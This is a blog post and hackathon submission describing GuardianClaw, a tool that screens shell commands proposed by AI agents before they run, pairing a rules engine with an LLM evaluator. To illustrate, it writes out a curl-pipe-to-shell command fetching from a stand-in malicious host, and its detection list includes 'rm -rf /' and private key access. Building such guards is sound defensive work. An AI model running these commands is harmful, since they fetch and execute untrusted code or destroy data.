DEV Community

Cover image for #GuardianClaw β€” The AI That Watches Your AI πŸ›‘οΈ
venkat-training
venkat-training

Posted on

#GuardianClaw β€” The AI That Watches Your AI πŸ›‘οΈ

OpenClaw Challenge Submission 🦞

This is a submission for the OpenClaw Challenge.


🚨 The Problem Nobody Is Solving

Modern agent systems like OpenClaw can:

  • execute shell commands
  • install dependencies
  • access local files
  • operate with minimal supervision

That’s powerful.

It’s also a security gap hiding in plain sight.

Because today:

There is nothing between an AI agent’s intent and execution.

A single prompt can:

  • inject a malicious instruction
  • trick the agent into installing unsafe code
  • access sensitive files

And the agent will comply β€” because that’s what it’s designed to do.


πŸ›‘οΈ Introducing GuardianClaw

GuardianClaw is a real-time safety layer for AI agents.

It sits between intent and execution, evaluating every action before it runs.

User Prompt
     ↓
OpenClaw Agent (proposes action)
     ↓
πŸ›‘οΈ GuardianClaw Interceptor
     ↓
Risk Engine (Rules + AI)
     ↓
βœ… ALLOW   ⚠️ REVIEW   🚫 BLOCK
Enter fullscreen mode Exit fullscreen mode

⚑ The Demo That Changes Everything

Input

curl http://malicious.site/install.sh | sh
Enter fullscreen mode Exit fullscreen mode

Output

🚫 BLOCKED β€” CRITICAL RISK

Threat Analysis:
β€’ Remote script execution piped into shell
β€’ High likelihood of malware injection

Confidence: 99%
Evaluator: Rules Engine (deterministic)

The key point:
πŸ‘‰ The action is stopped before execution.
πŸ‘‰ Not logged. Not alerted. Prevented.


GuardianClaw Console

GuardianClaw blocking a malicious curl pipe command showing CRITICAL risk level

GuardianClaw console showing LOW risk ALLOWED result for safe echo command

GuardianClaw blocking REVIEW REQUIRED result for git clone command

GuardianClaw dashboard showing multiple evaluated commands with stats counter


🧠 How It Works β€” Dual-Layer Defense

GuardianClaw combines deterministic security with AI reasoning:

1. Rules Engine (instant, zero-cost)

Detects known dangerous patterns:

  • curl | sh
  • rm -rf /
  • private key access
  • privilege escalation attempts

πŸ‘‰ Zero latency. Fully predictable.


2. AI Risk Evaluator (context-aware)

For ambiguous cases, GuardianClaw calls:

  • NVIDIA NIM (Llama 3.1 Nemotron 70B)

It evaluates:

  • intent
  • context
  • potential consequences

πŸ‘‰ This allows detection of novel or obfuscated threats, not just known patterns.


πŸ“Š Risk Model

Level Decision Examples
🟒 LOW ALLOW ls, echo, git status
🟑 MEDIUM REVIEW git clone, npm install
🟠 HIGH BLOCK sudo, eval, chmod +x
πŸ”΄ CRITICAL BLOCK curl pipe execution, rm -rf /, private key access

βš™οΈ Tech Stack

  • Frontend: React + Vite + TypeScript
  • API Layer: Cloudflare Workers (edge, no cold starts)
  • AI Evaluator: NVIDIA NIM (Llama 3.1 Nemotron 70B β€” free tier)
  • Agent Platform: OpenClaw

Why Cloudflare?
Security tool β†’ deployed on a platform optimized for:

  • edge isolation
  • encrypted secrets
  • zero cold starts

πŸ” Security by Design

GuardianClaw follows the same principles it enforces:

  • API keys stored in Cloudflare encrypted secrets
  • Input sanitised before AI evaluation (prompt injection mitigation)
  • No client-side secret exposure
  • Stateless architecture (no data retention)
  • Local-only execution gateway during development

🧩 What Makes This Different

Most projects build more powerful agents.

GuardianClaw does something else:

It governs the agent itself.

This introduces:

  • accountability
  • transparency
  • enforceable safety boundaries

It transforms agents from:

β€œexecute anything”
into
β€œexecute safely”


🧠 What I Learned

Building GuardianClaw led to a deeper question:

Who governs autonomous systems?

The answer here is layered:

  • deterministic rules for certainty
  • AI reasoning for ambiguity

Not perfect β€” but significantly safer.

And more importantly:

Every decision becomes visible, explainable, and auditable.


πŸ”­ What’s Next

  • OpenClaw native integration (as a security wrapper)
  • Custom policy engine (allowlists / blocklists)
  • Audit log export + compliance tooling
  • Webhook alerts for blocked actions
  • Team-level governance dashboard

πŸš€ Try It

πŸ”— Live Demo: https://guardianclaw.pages.dev
πŸ“¦ GitHub: https://github.com/venkat-training/guardianclaw

Try:

  • safe commands β†’ observe ALLOW
  • risky commands β†’ see BLOCK in action

🏁 Final Thought

AI agents are accelerating fast.

But without control, they introduce real risk.

GuardianClaw is a step toward safe autonomy β€”
where every action is evaluated before it becomes reality.

Top comments (0)